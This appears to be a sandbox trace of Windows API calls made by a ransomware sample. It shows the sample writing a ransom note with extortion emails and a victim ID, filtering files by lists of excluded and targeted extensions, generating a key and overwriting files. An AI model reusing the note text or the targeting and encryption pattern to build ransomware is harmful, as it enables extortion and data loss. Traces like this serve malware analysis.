	[0081.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffd80 | out: hHeap=0x300000) returned 1
	[0081.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa5f0 | out: hHeap=0x300000) returned 1
	[0081.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ffd80
	[0081.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.017] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.017] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.018] CloseHandle (hObject=0x120) returned 1
	[0081.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffd80 | out: hHeap=0x300000) returned 1
	[0081.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff0d0 | out: hHeap=0x300000) returned 1
	[0081.018] RtlWakeConditionVariable () returned 0x365f70
	[0081.018] GetCurrentThreadId () returned 0x9f4
	[0081.018] GetCurrentThreadId () returned 0x9f4
	[0081.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3950 | out: hHeap=0x300000) returned 1
	[0081.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa5b8 | out: hHeap=0x300000) returned 1
	[0081.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3950
	[0081.018] lstrlenW (lpString=".scr") returned 4
	[0081.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll", lpSrch=".scr") returned 0x0
	[0081.018] lstrlenW (lpString=".cmd") returned 4
	[0081.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll", lpSrch=".cmd") returned 0x0
	[0081.018] lstrlenW (lpString=".dll") returned 4
	[0081.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll", lpSrch=".dll") returned=".dll"
	[0081.018] lstrlenW (lpString=".dll") returned 4
	[0081.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3950 | out: hHeap=0x300000) returned 1
	[0081.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0081.018] RtlWakeConditionVariable () returned 0x365f70
	[0081.018] GetCurrentThreadId () returned 0x9f4
	[0081.019] GetCurrentThreadId () returned 0x9f4
	[0081.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0081.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffe68 | out: hHeap=0x300000) returned 1
	[0081.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa580 | out: hHeap=0x300000) returned 1
	[0081.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ffe68
	[0081.019] lstrlenW (lpString=".scr") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".scr") returned 0x0
	[0081.019] lstrlenW (lpString=".cmd") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".cmd") returned 0x0
	[0081.019] lstrlenW (lpString=".dll") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dll") returned 0x0
	[0081.019] lstrlenW (lpString=".bat") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".bat") returned 0x0
	[0081.019] lstrlenW (lpString=".cpl") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".cpl") returned 0x0
	[0081.019] lstrlenW (lpString=".sys") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".sys") returned 0x0
	[0081.019] lstrlenW (lpString=".msc") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".msc") returned 0x0
	[0081.019] lstrlenW (lpString=".com") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".com") returned 0x0
	[0081.019] lstrlenW (lpString=".lnk") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".lnk") returned 0x0
	[0081.019] lstrlenW (lpString=".msp") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".msp") returned 0x0
	[0081.019] lstrlenW (lpString=".pif") returned 4
	[0081.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".pif") returned 0x0
	[0081.020] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch="msp\r\n.pif") returned 0x0
	[0081.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.062] lstrlenW (lpString=".sqb") returned 4
	[0081.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".sqb") returned 0x0
	[0081.062] lstrlenW (lpString=".ost") returned 4
	[0081.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".ost") returned 0x0
	[0081.062] lstrlenW (lpString=".txt") returned 4
	[0081.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".txt") returned 0x0
	[0081.062] lstrlenW (lpString=".mdt") returned 4
	[0081.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".mdt") returned 0x0
	[0081.062] lstrlenW (lpString=".BDB") returned 4
	[0081.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".BDB") returned 0x0
	[0081.062] lstrlenW (lpString=".eql") returned 4
	[0081.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".eql") returned 0x0
	[0081.062] lstrlenW (lpString=".DBF") returned 4
	[0081.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DBF") returned 0x0
	[0081.063] lstrlenW (lpString=".EQL") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".EQL") returned 0x0
	[0081.063] lstrlenW (lpString=".FDB") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".FDB") returned 0x0
	[0081.063] lstrlenW (lpString=".EDB") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".EDB") returned 0x0
	[0081.063] lstrlenW (lpString=".DACPAC") returned 7
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DACPAC") returned 0x0
	[0081.063] lstrlenW (lpString=".VHD") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".VHD") returned 0x0
	[0081.063] lstrlenW (lpString=".DBV") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DBV") returned 0x0
	[0081.063] lstrlenW (lpString=".dacpac") returned 7
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dacpac") returned 0x0
	[0081.063] lstrlenW (lpString=".sdf") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".sdf") returned 0x0
	[0081.063] lstrlenW (lpString=".accdb") returned 6
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".accdb") returned 0x0
	[0081.063] lstrlenW (lpString=".DBX") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DBX") returned 0x0
	[0081.063] lstrlenW (lpString=".MDT") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".MDT") returned 0x0
	[0081.063] lstrlenW (lpString=".SQB") returned 4
	[0081.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".SQB") returned 0x0
	[0081.063] lstrlenW (lpString=".vhd") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".vhd") returned 0x0
	[0081.064] lstrlenW (lpString=".bac") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".bac") returned 0x0
	[0081.064] lstrlenW (lpString=".mdf") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".mdf") returned 0x0
	[0081.064] lstrlenW (lpString=".BAK") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".BAK") returned 0x0
	[0081.064] lstrlenW (lpString=".BAC") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".BAC") returned 0x0
	[0081.064] lstrlenW (lpString=".dbs") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dbs") returned 0x0
	[0081.064] lstrlenW (lpString=".vhdx") returned 5
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".vhdx") returned 0x0
	[0081.064] lstrlenW (lpString=".NDF") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".NDF") returned 0x0
	[0081.064] lstrlenW (lpString=".dat") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dat") returned 0x0
	[0081.064] lstrlenW (lpString=".DBS") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DBS") returned 0x0
	[0081.064] lstrlenW (lpString=".CKP") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".CKP") returned 0x0
	[0081.064] lstrlenW (lpString=".edb") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".edb") returned 0x0
	[0081.064] lstrlenW (lpString=".PST") returned 4
	[0081.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".PST") returned 0x0
	[0081.064] lstrlenW (lpString=".dbf") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dbf") returned 0x0
	[0081.065] lstrlenW (lpString=".SQL") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".SQL") returned 0x0
	[0081.065] lstrlenW (lpString=".pst") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".pst") returned 0x0
	[0081.065] lstrlenW (lpString=".dbv") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dbv") returned 0x0
	[0081.065] lstrlenW (lpString=".SDF") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".SDF") returned 0x0
	[0081.065] lstrlenW (lpString=".dtxs") returned 5
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dtxs") returned 0x0
	[0081.065] lstrlenW (lpString=".db3") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".db3") returned 0x0
	[0081.065] lstrlenW (lpString=".OST") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".OST") returned 0x0
	[0081.065] lstrlenW (lpString=".dbx") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dbx") returned 0x0
	[0081.065] lstrlenW (lpString=".DB3") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DB3") returned 0x0
	[0081.065] lstrlenW (lpString=".DAT") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DAT") returned 0x0
	[0081.065] lstrlenW (lpString=".VHDX") returned 5
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".VHDX") returned 0x0
	[0081.065] lstrlenW (lpString=".ndf") returned 4
	[0081.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".ndf") returned 0x0
	[0081.065] lstrlenW (lpString=".DB") returned 3
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DB") returned 0x0
	[0081.066] lstrlenW (lpString=".sql") returned 4
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".sql") returned 0x0
	[0081.066] lstrlenW (lpString=".MYD") returned 4
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".MYD") returned 0x0
	[0081.066] lstrlenW (lpString=".DBT") returned 4
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DBT") returned 0x0
	[0081.066] lstrlenW (lpString=".ACCDB") returned 6
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".ACCDB") returned 0x0
	[0081.066] lstrlenW (lpString=".fdb") returned 4
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".fdb") returned 0x0
	[0081.066] lstrlenW (lpString=".bak") returned 4
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".bak") returned 0x0
	[0081.066] lstrlenW (lpString=".myd") returned 4
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".myd") returned 0x0
	[0081.066] lstrlenW (lpString=".DTXS") returned 5
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".DTXS") returned 0x0
	[0081.066] lstrlenW (lpString=".ckp") returned 4
	[0081.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".ckp") returned 0x0
	[0081.066] lstrlenW (lpString=".dbt") returned 4
	[0081.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".dbt") returned 0x0
	[0081.067] lstrlenW (lpString=".db") returned 3
	[0081.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".db") returned 0x0
	[0081.067] lstrlenW (lpString=".TXT") returned 4
	[0081.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".TXT") returned 0x0
	[0081.067] lstrlenW (lpString=".MDF") returned 4
	[0081.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".MDF") returned 0x0
	[0081.067] lstrlenW (lpString=".bdb") returned 4
	[0081.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".bdb") returned 0x0
	[0081.067] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.067] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.067] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.068] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.068] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.069] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20105886647) returned 1
	[0081.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a2ce6d0, dwHighDateTime=0x1d60e1e)) 
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe018
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe018 | out: hHeap=0x300000) returned 1
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.069] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.070] GetLastError () returned 0x0
	[0081.070] GetLastError () returned 0x0
	[0081.070] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.070] GetLastError () returned 0x0
	[0081.070] GetLastError () returned 0x0
	[0081.071] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.080] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.080] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.082] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.082] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.094] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
